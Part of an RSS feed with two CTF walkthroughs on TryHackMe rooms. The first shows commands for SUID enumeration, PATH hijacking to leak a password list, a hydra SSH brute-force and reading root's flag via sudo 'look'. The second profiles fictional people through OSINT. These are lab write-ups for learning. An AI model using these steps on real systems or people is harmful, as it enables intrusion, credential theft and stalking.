/dev/null<br>-rwxr-xr-x 1 think think  220 Jun  2  2023 .bash_logout<br>-rwxr-xr-x 1 think think 3771 Jun  2  2023 .bashrc<br>drwxr-xr-x 2 think think 4096 Jun 21  2023 .cache<br>drwx------ 3 think think 4096 Aug  9  2023 .gnupg<br>-rw-r----- 1 root  think  525 Jul 30  2023 .passwords<br>-rwxr-xr-x 1 think think  807 Jun  2  2023 .profile<br>drw-r----- 2 think think 4096 Jun 21  2023 .ssh<br>lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -&gt; /dev/null<br>-rw-r----- 1 root  think   33 Jul 30  2023 user.txt</pre><p>Here you’ll notice two files: user.txt and .passwords. Both have the same permissions, so we can’t read .passwords either. We’ll come back to it later. For now, let’s focus on user.txt.</p><blockquote>This is a <strong>Linux privilege escalation enumeration command</strong> to search for <strong>SUID binaries</strong>.</blockquote><pre>find / -perm /4000 2&gt;/dev/null</pre><p><strong>Command Breakdown:</strong></p><blockquote><strong>find /</strong> → Start searching from the root directory.</blockquote><blockquote><strong>-perm /4000</strong> → Look for files with the <strong>SUID permission bit</strong> set (4000). These run with the file owner’s privileges (often root).</blockquote><blockquote><strong>2&gt;/dev/null</strong> → Suppresses error messages (like “Permission denied”).</blockquote><p><strong><em>I you want to know more about it i will provide some link:</em></strong></p><ul><li><a href="https://www.strongdm.com/blog/linux-privilege-escalation">Linux Privilege Escalation: Techniques, Prevention &amp; More</a></li><li><a href="https://www.thehacker.recipes/infra/privilege-escalation/unix/suid-sgid-binaries">SUID/SGID binaries | The Hacker Recipes</a></li><li><a href="https://materials.rangeforce.com/tutorial/2019/11/07/Linux-PrivEsc-SUID-Bit/">Linux privilege Escalation using the SUID Bit</a></li></ul><p>Here is our result:</p><pre>www-data@ip-10-201-83-104:/home/think$ find / -perm /4000 2&gt;/dev/null<br>/snap/snapd/19457/usr/lib/snapd/snap-confine<br>/snap/core20/1950/usr/bin/chfn<br>/snap/core20/1950/usr/bin/chsh<br>/snap/core20/1950/usr/bin/gpasswd<br>/snap/core20/1950/usr/bin/mount<br>/snap/core20/1950/usr/bin/newgrp<br>/snap/core20/1950/usr/bin/passwd<br>/snap/core20/1950/usr/bin/su<br>/snap/core20/1950/usr/bin/sudo<br>/snap/core20/1950/usr/bin/umount<br>/snap/core20/1950/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/snap/core20/1950/usr/lib/openssh/ssh-keysign<br>/snap/core20/1974/usr/bin/chfn<br>/snap/core20/1974/usr/bin/chsh<br>/snap/core20/1974/usr/bin/gpasswd<br>/snap/core20/1974/usr/bin/mount<br>/snap/core20/1974/usr/bin/newgrp<br>/snap/core20/1974/usr/bin/passwd<br>/snap/core20/1974/usr/bin/su<br>/snap/core20/1974/usr/bin/sudo<br>/snap/core20/1974/usr/bin/umount<br>/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/snap/core20/1974/usr/lib/openssh/ssh-keysign<br>/usr/lib/policykit-1/polkit-agent-helper-1<br>/usr/lib/openssh/ssh-keysign<br>/usr/lib/eject/dmcrypt-get-device<br>/usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>/usr/sbin/pwm  &lt;---------------------- This unusal binary <br>/usr/bin/at<br>/usr/bin/fusermount<br>/usr/bin/gpasswd<br>/usr/bin/chfn<br>/usr/bin/sudo<br>/usr/bin/chsh<br>/usr/bin/passwd<br>/usr/bin/mount<br>/usr/bin/su<br>/usr/bin/newgrp<br>/usr/bin/pkexec<br>/usr/bin/umount<br>www-data@ip-10-201-83-104:/home/think$</pre><blockquote><strong>unusual binary</strong></blockquote><pre>/usr/sbin/pwm</pre><p>it’s <strong>not a standard Linux binary It </strong>Could be a <strong>custom binary added by the system owner</strong>, maybe misconfigured with SUID.</p><blockquote>Let’s run it</blockquote><p>Now the time has come to address .passwords, which we mentioned earlier alongside the user.txt flag</p><pre>www-data@ip-10-201-83-104:/home$ /usr/sbin/pwm<br>[!] Running &#39;id&#39; command to extract the username and user ID (UID)<br>[!] ID: www-data<br>[-] File /home/www-data/.passwords not found</pre><blockquote>here it is:</blockquote><pre>www-data@ip-10-201-83-104:/home/think$ ls -la<br>total 40<br>drwxr-xr-x 5 think think 4096 Jan 11  2024 .<br>drwxr-xr-x 5 root  root  4096 Aug 14 16:28 ..<br>lrwxrwxrwx 1 root  root     9 Jun 21  2023 .bash_history -&gt; /dev/null<br>-rwxr-xr-x 1 think think  220 Jun  2  2023 .bash_logout<br>-rwxr-xr-x 1 think think 3771 Jun  2  2023 .bashrc<br>drwxr-xr-x 2 think think 4096 Jun 21  2023 .cache<br>drwx------ 3 think think 4096 Aug  9  2023 .gnupg<br>-rw-r----- 1 root  think  525 Jul 30  2023 .passwords<br>-rwxr-xr-x 1 think think  807 Jun  2  2023 .profile<br>drw-r----- 2 think think 4096 Jun 21  2023 .ssh<br>lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -&gt; /dev/null<br>-rw-r----- 1 root  think   33 Jul 30  2023 user.txt</pre><blockquote>when we try to open “.passwords”</blockquote><pre>www-data@ip-10-201-83-104:/home/think$ cat .passwords<br>cat: .passwords: Permission denied</pre><p>Now the path is clear: /usr/sbin/pwm is the binary that will help reveal the .passwords file without becoming root or the think user.</p><pre>www-data@ip-10-201-83-104:/home$ /usr/sbin/pwm<br>[!] Running &#39;id&#39; command to extract the username and user ID (UID)<br>[!] ID: www-data<br>[-] File /home/www-data/.passwords not found</pre><p>This is a little tricky: we are currently detected as ID: www-data, our initial access.</p><blockquote>the .passwords are located in</blockquote><pre>/home/think/.passwords</pre><p>So, if we trick the binary into thinking we are think instead of www-data, we will be able to read</p><p>.passwords</p><blockquote>Currently, the ID shows that we are www-data:</blockquote><pre>www-data@ip-10-201-83-104:/home/think$ id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p>To bypass the ID check, we can temporarily change the id.</p><blockquote>Check the current $PATH:</blockquote><pre>www-data@ip-10-201-83-104:/home/think$ echo $PATH<br>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</pre><p>Normally, the system searches for executables starting from the first directory (/usr/local/sbin) and continues in order.<br> If we add /tmp at the beginning of $PATH, the system will look in /tmp first before the default directories.</p><pre>www-data@ip-10-201-83-104:/home/think$ cd /tmp</pre><blockquote>check the id:</blockquote><pre>www-data@ip-10-201-83-104:/tmp$ id<br><br>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><blockquote>we need to change id :</blockquote><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br><br>                    TO THIS<br><br>uid=1000(think) gid=1000(think) groups=1000(think)</pre><blockquote>creating /tmp id:</blockquote><pre>echo &quot;echo &#39;uid=1000(think) gid=1000(think) groups=1000(think)&#39;&quot; &gt; id</pre><blockquote>Here, we give the executable permission and run it; it shows that we are the think user.</blockquote><pre>www-data@ip-10-201-83-104:/tmp$ chmod +x id<br>www-data@ip-10-201-83-104:/tmp$ ./id<br>uid=1000(think) gid=1000(think) groups=1000(think)</pre><blockquote>Now export this path:</blockquote><pre>www-data@ip-10-201-83-104:/tmp$ export PATH=/tmp:$PATH</pre><blockquote>If we check the path:</blockquote><pre>www-data@ip-10-201-83-104:/tmp$ echo $PATH<br>/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</pre><p>we add /tmp successfylly at the beginning of $PATH</p><blockquote>now if we check the id command</blockquote><pre>www-data@ip-10-201-83-104:/tmp$ id<br>uid=1000(think) gid=1000(think) groups=1000(think)</pre><p>we are successfully able to show as think user</p><blockquote>Let’s run the binary again:</blockquote><pre>www-data@ip-10-201-83-104:/tmp$ /usr/sbin/pwm</pre><blockquote><strong>WE EXTRACTED THE </strong><em>.password</em><strong> FILE</strong></blockquote><pre>www-data@ip-10-201-83-104:/tmp$ /usr/sbin/pwm<br>[!] Running &#39;id&#39; command to extract the username and user ID (UID)<br>[!] ID: think<br>jose1006<br>jose1004<br>jose1002<br>jose1001teles<br>jose100190<br>jose10001<br>jose10.asd<br>jose10+<br>jose0_07<br>jose0990<br>jose0986$<br>jose098130443<br>jose0981<br>jose0924<br>jose0923<br>jose0921<br>thepassword<br>jose(1993)<br>jose&#39;sbabygurl<br>jose&amp;vane<br>jose&amp;takie<br>jose&amp;samantha<br>jose&amp;pam<br>jose&amp;jlo<br>jose&amp;jessica<br>jose&amp;jessi<br>josemario.AKA(think)<br>jose.medina.<br>jose.mar<br>jose.luis.24.oct<br>jose.line<br>jose.leonardo100<br>jose.leas.30<br>jose.ivan<br>jose.i22<br>jose.hm<br>jose.hater<br>jose.fa<br>jose.f<br>jose.dont<br>jose.d<br>jose.com}<br>jose.com<br>jose.chepe_06<br>jose.a91<br>jose.a<br>jose.96.<br>jose.9298<br>jose.2856171<br>www-data@ip-10-201-83-104:/tmp$</pre><blockquote>We have obtained the user ID and password list. Now, save these passwords on our system to brute-force the SSH server</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhLPkAUjkX-pYpDCXFvGPg.png" /></figure><blockquote><strong>BRUTE-FORCE SSH:</strong></blockquote><pre>sudo hydra -l think -P passwords.txt lookup.thm ssh </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*PrbpcsTSU2qnNG6jsh0ayw.png" /></figure><blockquote>[<strong>22</strong>][<strong>ssh</strong>] host: <strong>lookup.thm</strong> login: <strong>think</strong> password: <strong>josemario.AKA(think)</strong></blockquote><blockquote><strong>Finally, we have established the SSH connection.</strong></blockquote><pre>ssh think@lookup.thm</pre><pre>think@lookup.thm&#39;s password: <br>Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>System information as of Thu 14 Aug 2025 05:24:49 PM UTC<br><br>  System load:  0.0               Processes:             123<br>  Usage of /:   63.4% of 9.75GB   Users logged in:       0<br>  Memory usage: 26%               IPv4 address for ens5: 10.201.83.104<br>  Swap usage:   0%<br><br>Ubuntu 20.04 LTS Focal Fossa will reach its end of standard support on 31 May<br> <br>   For more details see:<br>   https://ubuntu.com/20-04<br><br>Expanded Security Maintenance for Infrastructure is not enabled.<br><br>221 updates can be applied immediately.<br>To see these additional updates run: apt list --upgradable<br><br>Enable ESM Infra to receive additional future security updates.<br>See https://ubuntu.com/esm or run: sudo pro status<br><br>Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings<br><br>Your Hardware Enablement Stack (HWE) is supported until April 2025.<br><br>Last login: Thu Aug 14 17:18:54 2025 from 10.17.5.112<br>think@ip-10-201-83-104:~$</pre><h3>Now lets look our flags:</h3><blockquote><strong><em>USER FLAG</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*I6xLv2kQXGyRgkE3hilklQ.png" /></figure><blockquote><strong><em>NOW THE ROOT FLAG</em></strong></blockquote><p>Before heading to the root folder, always check what commands the user can run with sudo (sudo -l). This can reveal privilege escalation paths.</p><pre>think@ip-10-201-83-104:~$ sudo -l<br>[sudo] password for think: <br>Matching Defaults entries for think on ip-10-201-83-104:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User think may run the following commands on ip-10-201-83-104:<br>    (ALL) /usr/bin/look</pre><p>sudo -l shows user <strong>think</strong> can run <strong>/usr/bin/look</strong> as root. This restricted <strong>sudo</strong> right may be exploitable for privilege escalation.</p><blockquote><strong><em>ESCALATE</em></strong></blockquote><pre>sudo look &#39;&#39; /root/root.txt</pre><blockquote><strong><em>ROOT FLAG!</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*4RSnsWovR_czsBh8_ZFPEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/245/1*ycJFJ-t3q_YHh0jqmrct-A.gif" /></figure><blockquote><strong><em>Both flags were captured proving full system compromise!</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rWCDPPXy-Fy_J3K8mczSoQ.png" /><figcaption>[ This image and all the theoretical content of the present article is <a href="https://tryhackme.com/">TryHackMe’s</a> property. ]</figcaption></figure><h3>Thanks for coming! Stay curious, stay ethical!</h3><p>Follow me for more about cybersecurity: <a href="https://medium.com/@0xW41th">Medium</a>, <a href="https://github.com/0xW41th">Github</a>, <a href="https://www.linkedin.com/in/adwaith-sec">LinkedIN</a></p><p>This challenge was created by <a href="https://tryhackme.com/p/josemlwdf">JOSEMLWDF</a>. Thank you for investing your time and effort to develop it so that I can sharpen my skills!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba928921ed22" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSINT CTF Walkthrough: TryHackMe Technocrat | My First Capture!]]></title>
            <link>https://systemweakness.com/osint-ctf-walkthrough-tryhackme-technocrat-my-first-capture-a5c96b81dbf7?source=rss-58f5e3373c8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5c96b81dbf7</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Adwaith S]]></dc:creator>
            <pubDate>Thu, 24 Jul 2025 13:32:45 GMT</pubDate>
            <atom:updated>2025-08-01T13:48:21.553Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y8gvvEDa6SD5AErNYhluLQ.png" /></figure><p>Hey! I’m <strong>Adwaith</strong> , an aspiring offensive security enthusiast, and I’d love to share my adventure with you as I run through the Technocrat OSINT CTF on TryHackMe. Click the link below, and let’s get started!</p><p><a href="https://tryhackme.com/room/technocratosintctf">TryHackMe | Cyber Security Training</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NKO0NToQoLTheXfoeH7mJA.png" /><figcaption>[ This image and all the theoretical content of the present article is TryHackMe’s property. ]</figcaption></figure><p>Before we begin, let’s get our hands dirty and dive straight into the challenge!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*5LYcMvIjzX3ej_Un_5DvXw.gif" /></figure><h3>Task 1 . Victim Profile</h3><p>First, we need to navigate to the victim’s Twitter account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*DYNo3S_DVGFLo0r4Ul0ojQ.png" /></figure><p><em>Answer the questions below</em></p><p><strong>1.1.</strong> click on complete after getting the twitter account!!!</p><p>No answer needed</p><h3>Task 2 . INFORMATION GATHERING</h3><p>The difficulty of this challenge is rated medium, however, I’ll walk you through it step-by-step, breaking down how I approached each task. If you are or either just starting out or trying your own OSINT skills, this is the place for you.</p><p><em>Answer the questions below</em></p><p><strong>2.1.</strong> What US Political Party does James over here support?Democratic Party</p><p>[ VOTE FOR ME!!!! ]</p><p>We got some hints related to a U.S. political party from his post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*5JmVJFpykdI2-DJp9zDjcw.png" /><figcaption>Hint</figcaption></figure><p>So, let’s dig into Google and find it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*tsn0UFmY2ujGWrQRbAwYSw.png" /><figcaption>Result</figcaption></figure><p><strong>The Flag</strong> : Democratic Party</p><p><strong>2.2.</strong> Where did James spend his childhood?</p><p>[ GROWINGUP!!! ]</p><p>When I scrolled down, I noticed an interesting video ad from James’ post. It’s about a platform called what3words, which is used to navigate or identify locations using simple three-word addresses for example, ///cheering.move.signed.</p><p>This was shown in the video.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*BGIVBWtmT2ix0dxb1LmBiA.png" /><figcaption>Hint 1.1</figcaption></figure><p>I remember his profile also had three words. He said raised in. refers to the location where he spent his childhood.</p><p>His profile:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*70vF26fgL-nIp2NeQ60cwQ.png" /><figcaption>Hint 1.2</figcaption></figure><p>Let’s Visit what3word :</p><p><a href="https://what3words.com/">The simplest way to talk about location</a></p><p>We searched for it and got the three words:</p><p>///push.asking.barn</p><p>That’s how we found it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*TX4awF8Ar7B7-B7zOh9_IQ.png" /><figcaption>Result</figcaption></figure><p><strong>The Flag</strong> : Yorkshire</p><p><strong>2.3.</strong> In what city does James work?</p><p>[ CHOOCHOO!!! ]</p><p>Here, we can see that it’s related to transport. Maybe his workplace is located there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*gj4zFzNtwltB2W4OG1ZDrw.png" /><figcaption>Hint 1.1</figcaption></figure><p>We dig into Google and found it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*6709ocMDLAdDBIv9PTju3w.png" /><figcaption>Result</figcaption></figure><p><strong>The Flag </strong>: Cardiff</p><p><strong>2.4.</strong> What city is Sarah going on Holiday to at the end of February?</p><p>[ SUNTAN!!! ]</p><p>I found Sarah in the reply section of James’ post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*-7R6Xblf8lqWic9mU5bu0Q.png" /></figure><p>When we visited her profile, we found a hint she mentioned that she’s very curious about going to this place. Also, the date she posted it was February 12th, which means it was near the end of the month and she said she was waiting two more weeks for the end of February!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*h7wtod35k8PWieRtVXT9Kw.png" /><figcaption>Hint</figcaption></figure><p>So, let’s dig for info on Google!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TU6yTZtj8QliD_7KooGP4w.png" /><figcaption>Result</figcaption></figure><p>So finally, we found out that Elizabeth Quay is in Perth:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*L3UFl3jFT2dM17hNlTl-EQ.png" /></figure><p><strong>The Flag </strong>: Perth</p><p><strong>2.5.</strong> Can you have look to see if you can find the TOWN in which Sarah tends to take the dog out to?</p><p>[ WAGTHETAIL!!! ]</p><p>We can clearly see that she mentioned a name called Buster maybe that’s her dog’s name and there are coordinates present as well.</p><p>51.947528, -3.393953</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*28VGJph4wzvBUrU9l7PFzQ.png" /><figcaption>Hint</figcaption></figure><p>So, let’s dig into Google Maps and we found the place!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*989KqYfiwc2PxHimXq0BuA.png" /><figcaption>Result</figcaption></figure><p><strong>The Flag </strong>: Brecon</p><p><strong>2.6. </strong>There is new Person of Interest, George something or other..</p><p>Can you find anything Interest on him? something he perhaps thinks you can’t workout?</p><p>[ NARCISSISM!!! ]</p><p>I found George in the reply section of James’ post:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*k7yuZMOUWvXGF1Jsfrgs5A.png" /></figure><p>I found something interesting in George Watson’s post:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*GxZCVAIOv61BGMqBHK-poA.png" /><figcaption>Hint</figcaption></figure><p>When we took a closer look, he mentioned that he encrypted the password and claimed it was secure and unbreakable. Along with that, he posted a random string of text so I assume it’s Base64 encoded.</p><p>If you’re not familiar with Base64, check out this link or do a bit of research yourself. Just keep in mind: it’s a mechanism used to convert plain text into an unreadable format. When reversed, it can be decoded back to its original form.</p><p>Here are some references for Base64 encoding:</p><ul><li><a href="https://en.wikipedia.org/wiki/Base64">Base64 - Wikipedia</a></li><li><a href="https://builtin.com/software-engineering-perspectives/base64-encoding">Base64 Encoding: What Is It? How Does It Work? | Built In</a></li></ul><p>How we can decode this base64??</p><p>aW1hbWF6aW5nMTIz</p><p>Here, I decoded the Base64 encoded text to plain text:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*D868zNINxK6gaSriKOtiTg.png" /><figcaption>Result</figcaption></figure><p>I know I know, In your mind. What could be the reason for this output?</p><p>First output:</p><pre>λ ~/ echo &#39;aW1hbWF6aW5nMTIz&#39; | base64 -d</pre><p>imamazing123%</p><p>but Second output:</p><pre>λ ~/ echo &#39;aW1hbWF6aW5nMTIz&#39; | base64 -d; echo</pre><p>imamazing123</p><p>Terminals typically display a % or other marker to visually indicate that the cursor is still on the same line after output, this decoded string does not end with a <strong>newline</strong> (\n).</p><p>when you use this command:</p><pre>base64 -d; echo</pre><p>It forces a <strong>newline</strong> after printing the decoded output!</p><p>If you don’t understand just ignore for now!</p><p>One more thing, you can decode base64 through online websites:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F4S7Mrt8CWWQpUvmSnu_EQ.png" /><figcaption>base64decode.org</figcaption></figure><p>Here is the link :</p><p><a href="https://www.base64decode.org/">Base64 Decode and Encode - Online</a></p><p><strong>The Flag </strong>: imamazing123</p><p><strong>2.7.</strong> We have obtained what we believe to be an office CCTV Camera feed.</p><p>We have reason to suspect that it is overlooking one of the work desks belonging to one of our targets.</p><p>Can you confirm the COLOUR of the DESK SURFACE and the COLOUR of the DESK LEGS,just so we can be sure of what we are seeing and task the reconnaissance team further</p><p>Enter the flags</p><p>(SURFACE COLOUR )SPACE(LEGS COLOUR)</p><p>[ PROPPEDUP!!! ]</p><p>When I visited George Watson’s profile, I noticed that the desk in the image had a brown surface and silver legs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*RcL162i8qzqJ_kTpf2LwEw.png" /><figcaption>Hint</figcaption></figure><p><strong>The Flag</strong> : Brown Silver</p><p><strong>2.8.</strong> James has a habit of getting in the way of things:)</p><p>[ BLUENGREEN!!! ]</p><p>Honestly, this single question or flag really messed with my mind lol!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*M8_hXB01yuT2JFxujF-hKg.gif" /></figure><p>I’m just sharing my perspective if you look at the question, it mentions Blue and green, and there’s also something going on with that banner. So, I decided to open it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*oyOHl_N8xf6U22hJ5G1grQ.png" /><figcaption>Hint</figcaption></figure><p>So we got the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eTKkRBb_MuTrdvV-ZCOp0Q.png" /><figcaption>Result</figcaption></figure><p><strong>The Flag</strong> : icanseeyou</p><p><strong>2.9. </strong>We have been watching a bloke called George recently, you might have already done some work on him.</p><p>He is not that smart by the looks of things,could be a good person to look for a social media presence on.</p><p>In particular, we are after an access key for a program his company uses so that the team can ex-filtrate information to aid with our ongoing fraud investigations.</p><p>[ MEME!!! ]</p><p>We can see that, firstly, in the reply section of James Markson’s post, it states that sensitive data shouldn’t be distributed and it shows a software access code! So, I believe this makes it clear that’s the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*hT_IL8I3QvyUpb5phHNnqg.png" /></figure><p><strong>The Flag</strong> : CTF3404X71</p><p><strong>2.10.</strong> Our intelligence analysts have reported that a whole bunch of our targets are having a party together on a Saturday night soon.</p><p>We want to deploy agents to see whats going on,but we can not risk blowing our cover turning up in a car.The road is pretty quiet and the property has very clear view of its surroundings,our reports suggest.</p><p>Find the location of the prety and the best BUS ROUTE NUMBER to reach the party from Principality Stadium,Cardiff -where the surveillance team will be deployed from.</p><p>This sounds silly but we need to blend in with the public.The stakes are high.</p><p>Enter the BUS ROUTE NUMBER you think is best for this situation.</p><p>[ PARTYTIME!!! ]</p><p>We just searched the information on Google and found the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aeIOoGqGefryL7y8QWZG4Q.png" /></figure><p><strong>The Flag </strong>: 57</p><h3>Room Completed</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3s5hCo0mBnaRpBq1FnLVg.png" /><figcaption>[ This image and all the theoretical content of the present article is <a href="https://tryhackme.com/">TryHackMe’s</a> property. ]</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oSYbOAq8nBoF89RvB7qriQ.png" /><figcaption>[ This image and all the theoretical content of the present article is <a href="https://tryhackme.com/">TryHackMe’s</a> property. ]</figcaption></figure><h3>Thanks for coming! Stay curious, stay ethical!</h3><p>Follow me for more about cybersecurity: <a href="https://medium.com/@0xW41th">Medium</a>, <a href="https://github.com/0xW41th">Github</a>, <a href="https://www.linkedin.com/in/adwaith-sec">LinkedIN</a></p><p>This challenge was created by <a href="https://tryhackme.com/p/sajith34">TECHNOCRAT</a>. Thank you for investing your time and effort to develop it so that I can sharpen my skills!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5c96b81dbf7" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/osint-ctf-walkthrough-tryhackme-technocrat-my-first-capture-a5c96b81dbf7">OSINT CTF Walkthrough: TryHackMe Technocrat | My First Capture!</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>